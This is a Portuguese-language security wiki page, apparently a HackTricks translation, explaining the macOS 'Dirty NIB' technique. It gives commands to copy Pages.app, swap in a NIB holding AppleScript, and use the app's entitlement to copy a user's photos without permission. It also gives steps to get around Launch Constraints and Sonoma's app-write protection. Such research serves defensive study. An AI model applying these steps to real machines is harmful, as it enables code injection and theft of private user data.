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# macOS Dirty NIB
<details>
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</details>
**Esta técnica foi retirada do post** [**https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)
## Informações Básicas
Os arquivos NIB são usados no ecossistema de desenvolvimento da Apple para **definir elementos de interface do usuário (UI)** e suas interações dentro de um aplicativo. Criados com a ferramenta Interface Builder, eles contêm **objetos serializados** como janelas, botões e campos de texto, que são carregados em tempo de execução para apresentar a UI projetada. Embora ainda em uso, a Apple tem recomendado o uso de Storyboards para uma representação mais visual do fluxo da UI de um aplicativo.
{% hint style="danger" %}
Além disso, os **arquivos NIB** também podem ser usados para **executar comandos arbitrários** e se o arquivo NIB for modificado em um aplicativo, o **Gatekeeper ainda permitirá a execução do aplicativo**, então eles podem ser usados para **executar comandos arbitrários dentro de aplicativos**.
{% endhint %}
## Injeção de Dirty NIB <a href="#dirtynib" id="dirtynib"></a>
Primeiro, precisamos criar um novo arquivo NIB, usaremos o XCode para a maior parte da construção. Começamos adicionando um objeto à interface e definimos a classe como NSAppleScript:
<figure><img src="../../../.gitbook/assets/image (681).png" alt="" width="380"><figcaption></figcaption></figure>
Para o objeto, precisamos definir a propriedade `source` inicial, o que podemos fazer usando Atributos de Tempo de Execução Definidos pelo Usuário:
<figure><img src="../../../.gitbook/assets/image (682).png" alt="" width="563"><figcaption></figcaption></figure>
Isso configura nosso gadget de execução de código, que apenas vai **executar o AppleScript quando solicitado**. Para realmente acionar a execução do AppleScript, vamos adicionar um botão por enquanto (você pode, é claro, ser criativo com isso ;). O botão será vinculado ao objeto `Apple Script` que acabamos de criar e **invocará o seletor `executeAndReturnError:`**:
<figure><img src="../../../.gitbook/assets/image (683).png" alt="" width="563"><figcaption></figcaption></figure>
Para testar, usaremos apenas o Apple Script:
```bash
set theDialogText to "PWND"
display dialog theDialogText
```
E se executarmos isso no depurador do XCode e clicarmos no botão:
<figure><img src="../../../.gitbook/assets/image (684).png" alt="" width="563"><figcaption></figcaption></figure>
Com nossa capacidade de executar código AppleScript arbitrário a partir de um NIB, precisamos de um alvo. Vamos escolher o Pages para nossa demonstração inicial, que é, é claro, um aplicativo da Apple e certamente não deve ser modificável por nós.
Primeiro, faremos uma cópia do aplicativo em `/tmp/`:
```bash
cp -a -X /Applications/Pages.app /tmp/
```
Em seguida, vamos iniciar o aplicativo para evitar problemas com o Gatekeeper e permitir que as coisas sejam armazenadas em cache:
```bash
open -W -g -j /Applications/Pages.app
```
Depois de executar (e encerrar) o aplicativo pela primeira vez, precisaremos substituir um arquivo NIB existente pelo nosso arquivo DirtyNIB. Para fins de demonstração, vamos apenas substituir o NIB do Painel Sobre para que possamos controlar a execução:
```bash
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
```
Uma vez que tenhamos sobrescrito o nib, podemos acionar a execução selecionando o item de menu `Sobre`:
<figure><img src="../../../.gitbook/assets/image (685).png" alt="" width="563"><figcaption></figcaption></figure>
Se olharmos mais de perto o Pages, veremos que ele possui uma autorização privada para permitir o acesso às fotos dos usuários:
<figure><img src="../../../.gitbook/assets/image (686).png" alt="" width="479"><figcaption></figcaption></figure>
Portanto, podemos testar nosso POC **modificando nosso AppleScript para roubar fotos** do usuário sem solicitar permissão:
{% code overflow="wrap" %}
```applescript
use framework "Cocoa"
use framework "Foundation"
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
```
{% endcode %}
{% hint style="danger" %}
[**Exemplo de arquivo .xib malicioso que executa código arbitrário.**](https://gist.github.com/xpn/16bfbe5a3f64fedfcc1822d0562636b4)
{% endhint %}
## Restrições de Lançamento
Basicamente, **impedem a execução de aplicativos fora de suas localizações esperadas**, então se você copiar um aplicativo protegido por Restrições de Lançamento para `/tmp`, você não poderá executá-lo.\
[**Encontre mais informações neste post**](../macos-security-protections/#launch-constraints)**.**
No entanto, ao analisar o arquivo **`/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4`**, você ainda pode encontrar **aplicativos que não estão protegidos por Restrições de Lançamento**, então ainda é possível **injetar** arquivos **NIB** em locais arbitrários nesses aplicativos (verifique o link anterior para aprender como encontrar esses aplicativos).
## Proteções Extras
A partir do macOS Somona, existem algumas proteções **impedindo a gravação dentro dos aplicativos**. No entanto, ainda é possível contornar essa proteção se, antes de executar sua cópia do binário, você alterar o nome da pasta Contents:
1. Faça uma cópia de `CarPlay Simulator.app` para `/tmp/`
2. Renomeie `/tmp/Carplay Simulator.app/Contents` para `/tmp/CarPlay Simulator.app/NotCon`
3. Execute o binário `/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator` para armazenar em cache dentro do Gatekeeper
4. Substitua `NotCon/Resources/Base.lproj/MainMenu.nib` pelo nosso arquivo `Dirty.nib`
5. Renomeie para `/tmp/CarPlay Simulator.app/Contents`
6. Execute `CarPlay Simulator.app` novamente
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